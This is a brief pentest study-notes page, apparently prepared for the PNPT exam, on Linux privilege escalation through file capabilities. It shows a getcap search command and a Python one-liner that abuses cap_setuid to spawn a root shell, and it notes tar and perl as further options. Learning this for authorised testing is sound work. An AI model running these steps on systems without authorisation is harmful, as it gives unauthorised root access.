> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/capabilities.md).

# Capabilities

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/>" %}

{% embed url="<https://mn3m.info/posts/suid-vs-capabilities/>" %}

This is similar to SUID. Processes can be privileged running as 0 **or** non-privileged running as anything other than 0. Processes running as 0 can pass checks while others can't. Capabilities are more secure than SUID but can still be vulnerable

Hunting capabilities

```
getcap -r / 2>/dev/null
```

{% hint style="info" %}
**cap\_setuid+ep** means capability, set to SUID to permissions everything
{% endhint %}

All we have to do is run the binary and make it do something that will turn us into root

Python example

```bash
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

{% hint style="info" %}
Other useful tools are tar (read files) perl (reverse shell)
{% endhint %}